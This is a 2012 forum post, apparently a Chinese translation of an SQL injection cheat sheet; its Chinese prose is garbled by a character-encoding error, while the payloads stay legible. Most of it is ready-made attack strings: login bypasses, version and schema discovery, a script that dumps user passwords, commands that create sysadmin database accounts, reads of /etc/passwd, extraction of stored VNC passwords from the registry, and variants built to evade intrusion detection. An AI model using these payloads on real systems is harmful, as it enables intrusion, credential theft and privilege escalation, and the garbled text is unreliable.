admin ·¢±íÓÚ 2012-9-15 14:34:41

SQL×¢Éä¼¼Êõºº»¯°æ

SQL×¢Éä¼¼Êõºº»¯°æ
ת×Ô£»http://nb.2sb.cn/?p=54
×÷ÕߣºÉî»ÒÉ«
====||Ŀ¼||=====

¡ª¡ª¡ª¡ª¡ª¡ª¨C

1¡¢¼ò½é

2¡¢Â©¶´²âÊÔ

3¡¢ÊÕ¼¯ÐÅÏ¢

4¡¢Êý¾ÝÀàÐÍ

5¡¢×¥È¡ÃÜÂë

6¡¢´´½¨Êý¾Ý¿âÕʺÅ

7¡¢MYSQLÀûÓÃ

8¡¢·þÎñÃûºÍÅäÖÃ

9¡¢ÔÚ×¢²á±íÖÐÕÒVNCÃÜÂë

10¡¢´Ì´©IDSÈÏÖ¤

11¡¢ÔÚMYSQLÖÐʹÓÃchar()ÆÛÆ­

12¡¢ÓÃ×¢ÊͶã±ÜIDSÈÏÖ¤

13¡¢¹¹ÔìÎÞÒýºÅµÄ×Ö·û´®



====||ÎÄÕ¿ªÊ¼||====

1¡¢¼ò½é

µ±Äã¿´µ½Ò»¸ö·þÎñÆ÷Ö»¿ªÁË80¶Ë¿Ú£¬ÕâÔÚÒ»¶¨³Ì¶ÈÉÏ˵Ã÷¹ÜÀíÔ±°ÑϵͳµÄ²¹¶¡×öµÄºÜºÃ£¬ÎÒÃÇËùÒª×ö×îÓÐЧµÄ¹¥»÷ÔòÒ²Ó¦¸ÃתÏòWEB¹¥»÷¡£SQL×¢ÉäÊÇ×î³£ÓõĹ¥»÷·½Ê½¡£Äã¹¥»÷WENϵͳ£¨ASP£¬PHP£¬JSP£¬CGIµÈ£©±ÈÈ¥¹¥»÷ϵͳ»òÕ߯äËûµÄϵͳ·þÎñÒª¼òµ¥µÄ¶à¡£

SQL×¢ÉäÊÇͨ¹ýÒ³ÃæÖеÄÊäÈëÀ´ÆÛƭʹµÃÆä¿ÉÒÔÔËÐÐÎÒÃǹ¹ÔìµÄ²éѯ»òÕß±ðµÄÃüÁÎÒÃÇÖªµÀÔÚWEBÉÏÃæÓкܶ๩ÎÒÃÇÊäÈë²ÎÊýµÄµØ·½£¬±ÈÈçÓû§Ãû¡¢ÃÜÂë»òÕßE_mail¡£



2¡¢Â©¶´²âÊÔ

×ʼÎÒÃÇÓ¦¸Ã´Ó×î¼òµ¥µÄÀ´ÊÔ£º

- Login:¡¯ or 1=1¨C

- Pass:¡¯ or 1=1¨C

- http://website/index.asp?id=¡¯ or 1=1¨C

»¹ÓÐÏÂÃæÕâÑùµÄ·½Ê½£º

- ¡® having 1=1¨C

- ¡® group by userid having 1=1¨C

- ¡® SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ¡®tablename¡¯)¨C

- ¡® union select sum(columnname) from tablename¨C



3¡¢ÊÕ¼¯ÐÅÏ¢

- ¡® or 1 in (select @@version)¨C

- ¡® union all select @@version¨C

ÉÏÃæ¾Í¿ÉÒԵõ½ÏµÍ³µÄ°æ±¾ºÍ²¹¶¡ÐÅÏ¢¡£



4¡¢Êý¾ÝÀàÐÍ

OracleÊý¾Ý¿â>>

¨C>SYS.USER_OBJECTS (USEROBJECTS)

¨C>SYS.USER_VIEWS

¨C>SYS.USER_TABLES

¨C>SYS.USER_VIEWS

¨C>SYS.USER_TAB_COLUMNS

¨C>SYS.USER_CATALOG

¨C>SYS.USER_TRIGGERS

¨C>SYS.ALL_TABLES

¨C>SYS.TAB

MySQLÊý¾Ý¿â

¨C>mysql.user

¨C>mysql.host

¨C>mysql.db



MS accessÊý¾Ý

¨C>MsysACEs

¨C>MsysObjects

¨C>MsysQueries

¨C>MsysRelationships



MS SQL ServerÊý¾Ý¿â

¨C>sysobjects

¨C>syscolumns

¨C>systypes

¨C>sysdatabases



5¡¢×¥È¡ÃÜÂë

ÓÃÀàËÆÏÂÃæµÄÓï¾ä¡£¡£¡£

//±£´æ²éѯµÄ½á¹û

step1 : ¡®; begin declare @var varchar(8000) set @var=¡¯:¡¯ select @var=@var+¡¯+login+¡¯/'+password+¡¯ ¡® from users where login > @var select @var as var into temp end ¨C

//È¡µÃÐÅÏ¢

step2 : ¡® and 1 in (select var from temp)¨C

//ɾ³ýÁÙʱ±í

step3 : ¡® ; drop table temp ¨C



6¡¢´´½¨Êý¾Ý¿âÕʺÅ

MS SQL

exec sp_addlogin ¡®name¡¯ , ¡®password¡¯

exec sp_addsrvrolemember ¡®name¡¯ , ¡¯sysadmin¡¯



MySQL

INSERT INTO mysql.user (user, host, password) VALUES (¡¯name¡¯, ¡®localhost¡¯, PASSWORD(¡¯pass123¡ä))



Access

CRATE USER name IDENTIFIED BY ¡®pass123¡ä



Postgres (requires Unix account)

CRATE USER name WITH PASSWORD ¡®pass123¡ä



Oracle

CRATE USER name IDENTIFIED BY pass123

      TEMPORARY TABLESPACE temp

         DEFAULT TABLESPACE users;

GRANT CONNECT TO name;

GRANT RESOURCE TO name;



7¡¢MYSQL½»»¥²éѯ

ʹÓÃUnion²éѯ£¬±©³öÎļþ´úÂ룬ÈçÏ£º

- ¡® union select 1,load_file(¡¯/etc/passwd¡¯),1,1,1;



8¡¢ÏµÍ³·þÎñÃûºÍÅäÖÃ

- ¡® and 1 in (select @@servername)¨C

- ¡® and 1 in (select servername from master.sysservers)¨C



9¡¢ÕÒµ½VNCÃÜÂ루ע²á±í£©

ʵÑéÓï¾äÈçÏ£º

- ¡®; declare @out binary(8)

- exec master..xp_regread

- @rootkey = ¡®HKEY_LOCAL_MACHINE¡¯,

- @key = ¡®SOFTWARE\ORL\WinVNC3\Default¡¯,

- @value_name=¡¯password¡¯,

- @value = @out output

- select cast (@out as bigint) as x into TEMP¨C

- ¡® and 1 in (select cast(x as varchar) from temp)¨C



10¡¢±Ü¿ªIDS¼ì²â

Evading ¡® OR 1=1 Signature



- ¡® OR ¡®unusual¡¯ = ¡®unusual¡¯

- ¡® OR ¡¯something¡¯ = ¡¯some¡¯+'thing¡¯

- ¡® OR ¡®text¡¯ = N¡¯text¡¯

- ¡® OR ¡¯something¡¯ like ¡¯some%¡¯

- ¡® OR 2 > 1

- ¡® OR ¡®text¡¯ > ¡®t¡¯

- ¡® OR ¡®whatever¡¯ in (¡¯whatever¡¯)

- ¡® OR 2 BETWEEN 1 and 3



11¡¢MYSQLÖÐʹÓÃchar()º¯Êý

²»´øÒýºÅµÄ×¢É䣬ÀýÈ磺 (string = ¡°%¡±):

¨C> ¡® or username like char(37);

´øÒýºÅµÄ×¢É䣬ÀýÈ磺 (string=¡±root¡±):

¨C> ¡® union select * from users where login = char(114,111,111,116);

ÔÚ unionsÖÐʹÓÃload files º¯Êý£¬ÀýÈ磺(string = ¡°/etc/passwd¡±):

¨C>¡¯ union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;

¼ì²éÎļþÊÇ·ñ´æÔÚ£¬ÀýÈ磺 (string = ¡°n.ext¡±):

¨C>¡¯ and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));



12¡¢ÀûÓÃ×¢ÊÍ·ûºÅ±Ü¿ªIDS

¾ÙÀýÈçÏ£º

¨C>¡¯/**/OR/**/1/**/=/**/1

¨C>Username:¡¯ or 1/*

¨C>Password:*/=1¨C

¨C>UNI/**/ON SEL/**/ECT £¨£¡£¡£¡Õâ¸ö±È½Ïº±¼û£¬Ó¦¸Ã´óÓÐ×÷Ϊ£¡£¡£¡£©

¨C>(Oracle)   ¡®; EXECUTE IMMEDIATE ¡®SEL¡¯ || ¡®ECT US¡¯ || ¡®ER¡¯

¨C>(MS SQL)    ¡®; EXEC (¡¯SEL¡¯ + ¡®ECT US¡¯ + ¡®ER¡¯)



13¡¢²»´øÒýºÅµÄ×Ö·û´®

ÓÃchar()»òÕß0XÀ´¹¹Ôì²»º¬ÒýºÅµÄÓï¾ä¡£¡£

¨C> INSERT INTO Users(Login, Password, Level) VALUES( char(0¡Á70) + char(0¡Á65) + char(0¡Á74) + char(0¡Á65) + char(0¡Á72) + char(0¡Á70) + char(0¡Á65) + char(0¡Á74) + char(0¡Á65) + char(0¡Á72), 0¡Á64)
Ò³: [1]
²é¿´ÍêÕû°æ±¾: SQL×¢Éä¼¼Êõºº»¯°æ